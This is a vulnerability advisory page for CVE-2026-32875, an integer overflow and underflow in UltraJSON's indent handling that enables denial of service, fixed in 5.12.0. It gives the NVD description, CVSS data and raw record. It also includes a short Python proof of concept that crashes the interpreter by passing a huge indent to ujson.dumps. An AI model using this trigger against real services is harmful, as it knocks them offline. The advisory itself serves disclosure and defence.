Security Vulnerability Report
中文
CVE-2026-32875 CVSS 7.5 HIGH

CVE-2026-32875

Published: 2026-03-20 02:16:36
Last Modified: 2026-03-23 15:29:05

Description

UltraJSON is a fast JSON encoder and decoder written in pure C with bindings for Python 3.7+. Versions 5.10 through 5.11.0 are vulnerable to buffer overflow or infinite loop through large indent handling. ujson.dumps() crashes the Python interpreter (segmentation fault) when the product of the indent parameter and the nested depth of the input exceeds INT32_MAX. It can also get stuck in an infinite loop if the indent is a large negative number. Both are caused by an integer overflow/underflow whilst calculating how much memory to reserve for indentation. And both can be used to achieve denial of service. To be vulnerable, a service must call ujson.dump()/ujson.dumps()/ujson.encode() whilst giving untrusted users control over the indent parameter and not restrict that indentation to reasonably small non-negative values. A service may also be vulnerable to the infinite loop if it uses a fixed negative indent. An underflow always occurs for any negative indent when the input data is at least one level nested but, for small negative indents, the underflow is usually accidentally rectified by another overflow. This issue has been fixed in version 5.12.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ultrajson_project:ultrajson:*:*:*:*:*:python:*:* - VULNERABLE
UltraJSON 5.10
UltraJSON 5.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import ujson import sys # PoC for CVE-2026-32875 # This PoC demonstrates the Denial of Service vulnerability in UltraJSON. # Case 1: Integer Overflow leading to Segmentation Fault # Trigger condition: product of indent parameter and nested depth > INT32_MAX print("Testing Case 1: Integer Overflow (Segfault)") try: # INT32_MAX is 2147483647. Using a value larger than this for indent # with any depth >= 1 will trigger the overflow. large_indent = 2147483648 data = {"key": "value"} print(f"Calling dumps with indent={large_indent}") # This line is expected to crash the Python interpreter result = ujson.dumps(data, indent=large_indent) print("Result:", result) except Exception as e: print(f"Exception caught: {e}") # Case 2: Infinite Loop with large negative indent # Trigger condition: indent is a large negative number and data is nested print("\nTesting Case 2: Infinite Loop (Skipped to prevent hang)") print("To test the infinite loop, uncomment the code below:") print("# large_negative_indent = -2147483649") print("# nested_data = {'a': {'b': 'c'}}") print("# ujson.dumps(nested_data, indent=large_negative_indent)")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32875", "sourceIdentifier": "[email protected]", "published": "2026-03-20T02:16:35.887", "lastModified": "2026-03-23T15:29:05.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "UltraJSON is a fast JSON encoder and decoder written in pure C with bindings for Python 3.7+. Versions 5.10 through 5.11.0 are vulnerable to buffer overflow or infinite loop through large indent handling. ujson.dumps() crashes the Python interpreter (segmentation fault) when the product of the indent parameter and the nested depth of the input exceeds INT32_MAX. It can also get stuck in an infinite loop if the indent is a large negative number. Both are caused by an integer overflow/underflow whilst calculating how much memory to reserve for indentation. And both can be used to achieve denial of service. To be vulnerable, a service must call ujson.dump()/ujson.dumps()/ujson.encode() whilst giving untrusted users control over the indent parameter and not restrict that indentation to reasonably small non-negative values. A service may also be vulnerable to the infinite loop if it uses a fixed negative indent. An underflow always occurs for any negative indent when the input data is at least one level nested but, for small negative indents, the underflow is usually accidentally rectified by another overflow. This issue has been fixed in version 5.12.0."}, {"lang": "es", "value": "UltraJSON es un codificador y decodificador JSON rápido escrito en C puro con enlaces para Python 3.7+. Las versiones 5.10 a 5.11.0 son vulnerables a desbordamiento de búfer o bucle infinito a través del manejo de sangrías grandes. ujson.dumps() bloquea el intérprete de Python (fallo de segmentación) cuando el producto del parámetro de sangría y la profundidad anidada de la entrada excede INT32_MAX. También puede quedarse atascado en un bucle infinito si la sangría es un número negativo grande. Ambos son causados por un desbordamiento/subdesbordamiento de entero mientras se calcula cuánta memoria reservar para la sangría. Y ambos pueden usarse para lograr denegación de servicio. Para ser vulnerable, un servicio debe llamar a ujson.dump()/ujson.dumps()/ujson.encode() mientras otorga a usuarios no confiables control sobre el parámetro de sangría y no restringe esa sangría a valores no negativos razonablemente pequeños. Un servicio también puede ser vulnerable al bucle infinito si utiliza una sangría negativa fija. Un subdesbordamiento siempre ocurre para cualquier sangría negativa cuando los datos de entrada están anidados al menos un nivel pero, para sangrías negativas pequeñas, el subdesbordamiento suele ser rectificado accidentalmente por otro desbordamiento. Este problema ha sido corregido en la versión 5.12.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-787"}, {"lang": "en", "value": "CWE-835"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ultrajson_project:ultrajson:*:*:*:*:*:python:*:*", "versionStartIncluding": "5.1.0", "versionEndExcluding": "5.12.0", "matchCriteriaId": "578A106C-655C-400C-B5EA-1BF5BD497EDE"}]}]}], "references": [{"url": "https://github.com/ultrajson/ultrajson/commit/486bd4553dc471a1de11613bc7347a6b318e37ea", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ultrajson/ultrajson/issues/700", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/ultrajson/ultrajson/security/advisories/GHSA-c8rr-9gxc-jprv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}